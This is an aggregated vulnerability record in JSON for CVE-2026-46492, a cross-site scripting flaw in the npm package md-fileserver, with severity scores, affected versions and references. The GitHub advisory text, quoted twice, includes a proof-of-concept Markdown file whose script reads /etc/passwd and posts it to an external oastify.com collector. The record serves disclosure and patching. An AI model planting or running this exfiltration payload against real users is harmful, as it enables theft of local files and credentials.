{"id":"CVE-2026-46492","aliases":["EUVD-2026-35496","GHSA-32q2-hhr5-6qvv"],"status":"published","title":"md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)","description":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including \u003cscript\u003e tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.","severity":{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00232,"percentile":0.14123,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-80","CWE-87"],"published":"2026-05-21T17:57:32Z","modified":"2026-10-28T02:30:44Z","fixes":[{"ecosystem":"npm","package":"md-fileserver","fixed_in":["1.10.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"md-fileserver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.10.3"}]}]},{"source":"osv","ecosystem":"npm","package":"md-fileserver","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.10.3"}]}]}],"products":[{"vendor":"commenthol","product":"md-fileserver"}],"references":[{"url":"https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv","tags":["x_refsource_CONFIRM","exploit","Vendor Advisory","Exploit","advisory","web"]},{"url":"https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46492","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-32q2-hhr5-6qvv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46492.json","tags":["advisory"]},{"url":"https://github.com/commenthol/md-fileserver","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-46492","title":"md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)","description":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including \u003cscript\u003e tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.","status":"published","published":"2026-06-09T16:09:29.077Z","modified":"2026-06-09T18:39:21.733Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-80","CWE-87"],"updated_at":"2026-11-02T13:46:55.086623Z"}],"euvd":[{"id":"EUVD-2026-35496","description":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including \u003cscript\u003e tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.","status":"published","published":"2026-06-09T16:09:29Z","modified":"2026-06-09T18:39:21Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T18:20:45.803611Z"}],"ghsa":[{"id":"GHSA-32q2-hhr5-6qvv","title":"md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)","description":"### Summary\nA cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including \u003cscript\u003e tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing \u003cscript\u003e tags or event handlers (e.g., \u003cimg onerror=...\u003e). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.\n\n### Vulnerable Components\nconfig.js → markdownIt: { html: true } (Lines 26–30)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33–58)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using \u003c%= markdown %\u003e without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n\u003cscript\u003e\n  fetch('/etc/passwd', { credentials: 'include' })\n    .then(r =\u003e r.text())\n    .then(t =\u003e fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));\n\u003c/script\u003e\n\n```\nOpen it on browser.\n\u003cimg width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" /\u003e\nView the HTTP request in Burp Collaborator.\n\u003cimg width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" /\u003e\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.","status":"published","published":"2026-05-21T17:57:32Z","modified":"2026-06-09T18:41:43Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-80","CWE-87"],"updated_at":"2026-11-02T14:40:24.856614Z"}],"nvd":[{"id":"CVE-2026-46492","description":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including \u003cscript\u003e tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.","status":"published","published":"2026-06-09T17:17:33.73Z","modified":"2026-08-12T17:48:26.667Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-80","CWE-87"],"updated_at":"2026-11-02T14:12:23.109705Z"}],"osv":[{"id":"CVE-2026-46492","title":"md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)","description":"md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including \u003cscript\u003e tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.","status":"published","published":"2026-06-09T16:09:29.077Z","modified":"2026-10-28T02:30:44.132365107Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-80","CWE-87"],"updated_at":"2026-11-02T15:45:05.870292Z"},{"id":"GHSA-32q2-hhr5-6qvv","title":"md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)","description":"### Summary\nA cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including \u003cscript\u003e tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing \u003cscript\u003e tags or event handlers (e.g., \u003cimg onerror=...\u003e). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.\n\n### Vulnerable Components\nconfig.js → markdownIt: { html: true } (Lines 26–30)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33–58)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using \u003c%= markdown %\u003e without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n\u003cscript\u003e\n  fetch('/etc/passwd', { credentials: 'include' })\n    .then(r =\u003e r.text())\n    .then(t =\u003e fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));\n\u003c/script\u003e\n\n```\nOpen it on browser.\n\u003cimg width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" /\u003e\nView the HTTP request in Burp Collaborator.\n\u003cimg width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" /\u003e\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.","status":"published","published":"2026-05-21T17:57:32Z","modified":"2026-06-09T18:45:30.92066751Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-80","CWE-87"],"updated_at":"2026-11-02T15:46:35.050232Z"}]}}